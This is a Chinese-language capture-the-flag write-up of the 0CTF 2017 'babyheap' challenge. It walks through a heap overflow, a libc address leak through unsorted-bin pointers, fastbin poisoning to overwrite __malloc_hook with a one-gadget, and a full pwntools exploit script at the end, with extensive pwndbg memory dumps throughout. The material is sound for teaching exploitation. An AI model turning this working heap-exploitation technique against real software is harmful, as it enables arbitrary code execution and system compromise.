0ctf2017|0ctf2017 pwn babyheap

题目:http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

0x00:运行程序

user@ubuntu:~/workspace/pwn$ ./0ctfbabyheap ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: Alarm clock



0x01:IDA分析
0ctf2017|0ctf2017 pwn babyheap
文章图片

1、Allocate函数:
0ctf2017|0ctf2017 pwn babyheap
文章图片

这个函数通过calloc可以申请大小0x1000以内的内存。
看得出每次在最后会有一个类似的结构体如下:
struct heap { signed int flag; //标记是否被分配 signed int size; //请求申请的大小 void* chunk_m; //chunk的mem值 }


2、Fill函数
0ctf2017|0ctf2017 pwn babyheap
文章图片

在Fill这个函数中看到,并未检查请求填充数据的大小,大小由用户决定,存在堆溢出。

3、Free函数,释放对应Index的堆块

4、Dump函数,打印对应Index堆块里的内容

0x02:checksec
user@ubuntu:~/workspace/pwn$ file 0ctfbabyheap 0ctfbabyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped user@ubuntu:~/workspace/pwn$ checksec 0ctfbabyheap [*] '/home/user/workspace/pwn/0ctfbabyheap' Arch:amd64-64-little RELRO:Full RELRO Stack:Canary found NX:NX enabled PIE:PIE enabled

保护全开。
由于保护全开,但是又可以任意长度堆溢出,所以可以泄漏libc的基地址,在malloc_hook处触发执行getshell。


0x03:泄漏libc基地址
原理:当small chunk被释放后,进入到unsorted bin。它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),这个地址相对main_arena + 0x58,而且main_arena又相对libc固定偏移(0x3c4b20),所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。
所以重点是能读到small chunk被释放后的fd指针的值。

alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) free(1) free(2) payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload) payload = p64(0)*3 payload += p64(0x21) fill(3, payload) alloc(0x10) alloc(0x10) payload = p64(0)*3 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base))


1、释放index 1的堆

alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80)

free(1)

==================================================
pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 00x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN {//free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757020 ?— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty


2、释放index 2的堆
free(2)
============================================
pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 00x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN {//free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN {//free prev_size = 0x0, size = 0x21, fd = 0x555555757020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757040 —? 0x555555757020 ?— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

由上可以看出新释放的这个堆(index 2)插入到fastbin的头部,而前面被释放的这个堆(index 1)成为这个新释放的堆(index 2)的fd里的值。

3、通多堆溢出改变index 2 的fd的值,让他指向index 4这个堆
payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload)


堆的布局:
填充前:
pwndbg> x/32gx 0x555555757000 0x555555757000:0x00000000000000000x0000000000000021 0x555555757010:0x00000000000000000x0000000000000000 0x555555757020:0x00000000000000000x0000000000000021 0x555555757030:0x00000000000000000x0000000000000000 0x555555757040:0x00000000000000000x0000000000000021 0x555555757050:0x00005555557570200x0000000000000000 0x555555757060:0x00000000000000000x0000000000000021 0x555555757070:0x00000000000000000x0000000000000000 0x555555757080:0x00000000000000000x0000000000000091 0x555555757090:0x00000000000000000x0000000000000000 0x5555557570a0:0x00000000000000000x0000000000000000 0x5555557570b0:0x00000000000000000x0000000000000000 0x5555557570c0:0x00000000000000000x0000000000000000 0x5555557570d0:0x00000000000000000x0000000000000000 0x5555557570e0:0x00000000000000000x0000000000000000 0x5555557570f0:0x00000000000000000x0000000000000000

填充后:
pwndbg> x/32gx 0x555555757000 0x555555757000:0x00000000000000000x0000000000000021 0x555555757010:0x00000000000000000x0000000000000000 0x555555757020:0x00000000000000000x0000000000000021 0x555555757030:0x00000000000000000x0000000000000000 0x555555757040:0x00000000000000000x0000000000000021 0x555555757050:0x00005555557570800x0000000000000000 0x555555757060:0x00000000000000000x0000000000000021 0x555555757070:0x00000000000000000x0000000000000000 0x555555757080:0x00000000000000000x0000000000000091 0x555555757090:0x00000000000000000x0000000000000000 0x5555557570a0:0x00000000000000000x0000000000000000 0x5555557570b0:0x00000000000000000x0000000000000000 0x5555557570c0:0x00000000000000000x0000000000000000 0x5555557570d0:0x00000000000000000x0000000000000000 0x5555557570e0:0x00000000000000000x0000000000000000 0x5555557570f0:0x00000000000000000x0000000000000000



pwndbg> bins
fastbins
0x20: 0x555555757040 —? 0x555555757080 ?— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty


4、改掉index 4这个堆的size域的值,以便接下来malloc到它的时候,能过malloc的检查机制。
malloc的安全检查:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; }

chunksize 的计算方法是 victim->size & ~(SIZE_BITS))
index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,SIZE_SZ 是8
意思就是在对应的fastbin_index上的这个chunk 的size域要和这个index相匹配。
即是:现在我们把它放到了0x20这个大小的fastbin上,要把它的size改成0x20才能正常calloc。(最开始的时候index 4的堆我们申请大小是0x80)
payload = p64(0)*3 payload += p64(0x21) fill(3, payload)


修改前:
pwndbg> x/32gx 0x555555757000 0x555555757000:0x00000000000000000x0000000000000021 0x555555757010:0x00000000000000000x0000000000000000 0x555555757020:0x00000000000000000x0000000000000021 0x555555757030:0x00000000000000000x0000000000000000 0x555555757040:0x00000000000000000x0000000000000021 0x555555757050:0x00005555557570800x0000000000000000 0x555555757060:0x00000000000000000x0000000000000021 0x555555757070:0x00000000000000000x0000000000000000 0x555555757080:0x00000000000000000x0000000000000091 0x555555757090:0x00000000000000000x0000000000000000 0x5555557570a0:0x00000000000000000x0000000000000000 0x5555557570b0:0x00000000000000000x0000000000000000 0x5555557570c0:0x00000000000000000x0000000000000000 0x5555557570d0:0x00000000000000000x0000000000000000 0x5555557570e0:0x00000000000000000x0000000000000000 0x5555557570f0:0x00000000000000000x0000000000000000

修改后:
pwndbg> x/32gx 0x555555757000 0x555555757000:0x00000000000000000x0000000000000021 0x555555757010:0x00000000000000000x0000000000000000 0x555555757020:0x00000000000000000x0000000000000021 0x555555757030:0x00000000000000000x0000000000000000 0x555555757040:0x00000000000000000x0000000000000021 0x555555757050:0x00005555557570800x0000000000000000 0x555555757060:0x00000000000000000x0000000000000021 0x555555757070:0x00000000000000000x0000000000000000 0x555555757080:0x00000000000000000x0000000000000021 0x555555757090:0x00000000000000000x0000000000000000 0x5555557570a0:0x00000000000000000x0000000000000000 0x5555557570b0:0x00000000000000000x0000000000000000 0x5555557570c0:0x00000000000000000x0000000000000000 0x5555557570d0:0x00000000000000000x0000000000000000 0x5555557570e0:0x00000000000000000x0000000000000000 0x5555557570f0:0x00000000000000000x0000000000000000


5、
alloc(0x10)
alloc(0x10)


5.1 再次alloc(0x10)
alloc(0x10)

====================================

pwndbg> bins fastbins 0x20: 0x555555757080 ?— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins

因为fastbin是单链表结构,且采用FILO结构,所以现在重新alloc(0x20)时,index 1的chunk_m是 最 近 被释放的fast chunk(0x555555757040)的mem (0x555555757050)
pwndbg> x/32gx 0x110c5115e010 0x110c5115e010:0x00000000000000010x0000000000000010 0x110c5115e020:0x00005555557570100x0000000000000001 0x110c5115e030:0x00000000000000100x0000555555757050 0x110c5115e040:0x00000000000000000x0000000000000000 0x110c5115e050:0x00000000000000000x0000000000000001 0x110c5115e060:0x00000000000000100x0000555555757070 0x110c5115e070:0x00000000000000010x0000000000000080 0x110c5115e080:0x00005555557570900x0000000000000000


6.2再再次alloc(0x10)
alloc(0x10)

====================================


pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 00x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570a0 { prev_size = 0x0, size = 0x0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

pwndbg> x/32gx 0x110c5115e010查看结构体内存
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000080
0x110c5115e080: 0x0000555555757090 0x0000000000000000
0x110c5115e090: 0x0000000000000000 0x0000000000000000
0x110c5115e0a0: 0x0000000000000000 0x0000000000000000
0x110c5115e0b0: 0x0000000000000000 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000

再再次alloc(0x10)后,index 2的堆块的地址就已经和index 4堆块的地址一样了。这里现在是chunk的mem处,等index 4被free后,这里就是fd 字段了,之后便能通过dump index 2来泄漏index 4的fd内容了。

7、将index 4的size字段改回去,让他以small chunk被free掉
payload = p64(0)*3 payload += p64(0x91) fill(3, payload) alloc(0x80)
free(4)


7.1通过堆溢出来改变index 4的size字段:
填充前:
pwndbg> x/32gx 0x555555757000 0x555555757000:0x00000000000000000x0000000000000021 0x555555757010:0x00000000000000000x0000000000000000 0x555555757020:0x00000000000000000x0000000000000021 0x555555757030:0x00000000000000000x0000000000000000 0x555555757040:0x00000000000000000x0000000000000021 0x555555757050:0x00000000000000000x0000000000000000 0x555555757060:0x00000000000000000x0000000000000021 0x555555757070:0x00000000000000000x0000000000000000 0x555555757080:0x00000000000000000x0000000000000021 0x555555757090:0x00000000000000000x0000000000000000 0x5555557570a0:0x00000000000000000x0000000000000000 0x5555557570b0:0x00000000000000000x0000000000000000 0x5555557570c0:0x00000000000000000x0000000000000000 0x5555557570d0:0x00000000000000000x0000000000000000 0x5555557570e0:0x00000000000000000x0000000000000000 0x5555557570f0:0x00000000000000000x0000000000000000


填充后:
pwndbg> x/32gx 0x555555757000 0x555555757000:0x00000000000000000x0000000000000021 0x555555757010:0x00000000000000000x0000000000000000 0x555555757020:0x00000000000000000x0000000000000021 0x555555757030:0x00000000000000000x0000000000000000 0x555555757040:0x00000000000000000x0000000000000021 0x555555757050:0x00000000000000000x0000000000000000 0x555555757060:0x00000000000000000x0000000000000021 0x555555757070:0x00000000000000000x0000000000000000 0x555555757080:0x00000000000000000x0000000000000091 0x555555757090:0x00000000000000000x0000000000000000 0x5555557570a0:0x00000000000000000x0000000000000000 0x5555557570b0:0x00000000000000000x0000000000000000 0x5555557570c0:0x00000000000000000x0000000000000000 0x5555557570d0:0x00000000000000000x0000000000000000 0x5555557570e0:0x00000000000000000x0000000000000000 0x5555557570f0:0x00000000000000000x0000000000000000


pwndbg> heap
Top Chunk: 0x555555757110
Last Remainder: 0
0x555555757000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757110 PREV_INUSE {
prev_size = 0x0,
size = 0x20ef1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

7.2 alloc(0x80)再分配一个small chunk,这是为了,之后free index 4这个堆块的时候,不要被合并进top chunk 而把他放到unsorted bin中去、
这时如果把他free掉,他的fd指针会被设置为指向unsorted bin链表的头部。
pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 00x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x7ffff7dd1b78 , bk = 0x7ffff7dd1b78 , fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 { prev_size = 0x90, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —? 0x555555757080 ?— 0x7ffff7dd1b78 smallbins empty largebins empty

现在被free掉的这个index 4的堆块的fd指针被设置为指向unsorted bin链表的头部,这个地址相对main_arena偏移0x58,且main_arena在libc中,相对位置固定,这样就能算出libc被加载的地址。

8、dump index 2的堆块读出fd的值
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base))

由6.2处已成功让index 2的已成功设置成index 4这个堆块,现在index 4被释放,这里是fd,里面存的是unsorted bin的链表的头部。把他dump出来再减去0x58再减去0x3C4B20
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ......0x5555557570000x555555778000 rw-p21000 0[heap] 0x7ffff7a0d0000x7ffff7bcd000 r-xp1c0000 0/lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd0000x7ffff7dcd000 ---p200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd0000x7ffff7dd1000 r--p4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd10000x7ffff7dd3000 rw-p2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so ...... pwndbg> p &main_arena $30 = (struct malloc_state *) 0x7ffff7dd1b20 pwndbg>

0x7ffff7dd1b20 - 0x7ffff7a0d000 = 0x3C4B20


0x04:getshell
这里可以用 __malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc() 时,如果__malloc_hook不为空则调用指向的这个函数。所以这里我们传入一个 one-gadget。
one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。知道 libc 的版本,并且可以通过信息泄露得到 libc 的基地址,则可以通过控制EIP 执行该 gadget 来获得 shell。
alloc(0x60) free(4) payload = p64(libc_base+0x3c4aed) fill(2, payload) alloc(0x60) alloc(0x60) payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4526a) fill(6, payload) alloc(255)


所以这里关键在于怎么把gadget写到__malloc_hook处。
__malloc_hook相对libc偏移0x3c4b10(__malloc_hook在main_arena上面)
user@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc.so.6 | grep __malloc_hook 1088: 00000000003c4b108 OBJECTWEAKDEFAULT33 __malloc_hook@@GLIBC_2.2.5


pwndbg> x/10gx 0x7FFFF7DD1B00
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 :0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 :0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 :0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7FFFF7DD1B00
这里需要地址偏移,构造一个fake chunk,让其size域在0x10~0x80里,构造一个fastchunk,上面看出刚好有7f,合适的偏移让其在size域

wndbg> x/10gx 0x7FFFF7DD1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd:0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d:0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d :0x0000000000000000 0x0000000000000000


0x7ffff7dd1aed - 0x7ffff7a0d000 = 0x3C4AED

还是利用fastbin单链表且FILO的机制进行设置

1、
alloc(0x60) free(4)


alloc(0x60)#Index 4

============================================

pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f00x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 , bk = 0x7ffff7dd1b78 , fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins A syntax error in expression, near `.'. fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —? 0x5555557570f0 ?— 0x7ffff7dd1b78 smallbins empty largebins empty


free(4)

=======================================================

pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f00x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 , bk = 0x7ffff7dd1b78 , fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757080 ?— 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —? 0x5555557570f0 ?— 0x7ffff7dd1b78 smallbins empty largebins empty


2、
payload = p64(libc_base+0x3c4aed) fill(2, payload)

通过index 2堆块的fd,改写index 4的成在前面找好的那个偏移地址(这个地址相对于libc基地址偏移0x3C4AED)
填充后:
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757080 —? 0x7ffff7dd1aed (_IO_wide_data_0+301) ?— 0xfff7a92e20000000
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —? 0x5555557570f0 ?— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
pwndbg> p main_arena
这样我们第二次malloc 的0x70大小(这是包括了chunk header之后的大小,malloc()实际参数应该是0x60)的堆块是的地址是0x7ffff7dd1aed

3、获得指向__malloc_hook的地址
alloc(0x60) alloc(0x60)

===========================================


pwndbg> x/32gx 0x110c5115e010
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000060
0x110c5115e080: 0x0000555555757090 0x0000000000000001
0x110c5115e090: 0x0000000000000080 0x0000555555757120
0x110c5115e0a0: 0x0000000000000001 0x0000000000000060
0x110c5115e0b0: 0x00007ffff7dd1afd 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000

4、改写_malloc_hook处的内容,让其指向one-gadget(需要多试几下)
payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4526a) fill(6, payload)


可以使用工具 one_gadget 很方便地查找 one-gadget。
user@ubuntu:~/workspace/pwn$ one_gadget -f /lib/x86_64-linux-gnu/libc.so.6 0x45216execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL0x4526aexecve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL0xf02a4execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL

gadget要多试几下
填充前:
pwndbg> x/10gx 0x00007ffff7dd1aed 0x7ffff7dd1aed <_IO_wide_data_0+301>:0xfff7dd02600000000x000000000000007f 0x7ffff7dd1afd:0xfff7a92e200000000xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>:0x000000000000007f0x0000000000000000 0x7ffff7dd1b1d:0x00000000000000000x0000000000000000 0x7ffff7dd1b2d :0x00000000000000000x0000000000000000 pwndbg>

填充后:
pwndbg> x/32gx 0x7ffff7dd1b00 0x7ffff7dd1b00 <__memalign_hook>:0x00000000000000000x0000000000000000 0x7ffff7dd1b10 <__malloc_hook>:0x00007ffff7a5226a0x0000000000000000 0x7ffff7dd1b20 :0x00000000000000000x0000000000000000 0x7ffff7dd1b30 :0x00000000000000000x0000000000000000 0x7ffff7dd1b40 :0x00000000000000000x0000000000000000 0x7ffff7dd1b50 :0xfff7a92e200000000x0000000000000000 0x7ffff7dd1b60 :0x00000000000000000x0000000000000000 0x7ffff7dd1b70 :0x00000000000000000x00005555557571a0 0x7ffff7dd1b80 :0x00005555557570f00x00005555557570f0 0x7ffff7dd1b90 :0x00005555557570f00x00007ffff7dd1b88 0x7ffff7dd1ba0 :0x00007ffff7dd1b880x00007ffff7dd1b98 0x7ffff7dd1bb0 :0x00007ffff7dd1b980x00007ffff7dd1ba8 0x7ffff7dd1bc0 :0x00007ffff7dd1ba80x00007ffff7dd1bb8 0x7ffff7dd1bd0 :0x00007ffff7dd1bb80x00007ffff7dd1bc8 0x7ffff7dd1be0 :0x00007ffff7dd1bc80x00007ffff7dd1bd8 0x7ffff7dd1bf0 :0x00007ffff7dd1bd80x00007ffff7dd1be8 pwndbg>

当下次执行malloc后,检测到__malloc_hook不为0,将会指向它指向的函数。

5、通过再一次的的malloc来触发
alloc(255)


0x05:exp
exp来自:https://bbs.pediy.com/thread-223461.htm
#!/usr/bin/env python from pwn import * import sys context.log_level = "debug" elf = "./0ctfbabyheap" ENV = {"LD_PRELOAD":"./libc.so.6"} p = process(elf) def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def fill(idx, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(len(content))) p.recvuntil("Content: ") p.send(content) def free(idx): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def dump(idx): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvline() return p.recvline() alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) free(1) free(2) payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload) payload = p64(0)*3 payload += p64(0x21) fill(3, payload) alloc(0x10) alloc(0x10) payload = p64(0)*3 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base)) alloc(0x60) free(4) payload = p64(libc_base+0x3c4aed) fill(2, payload) alloc(0x60) alloc(0x60) payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4526a) fill(6, payload) 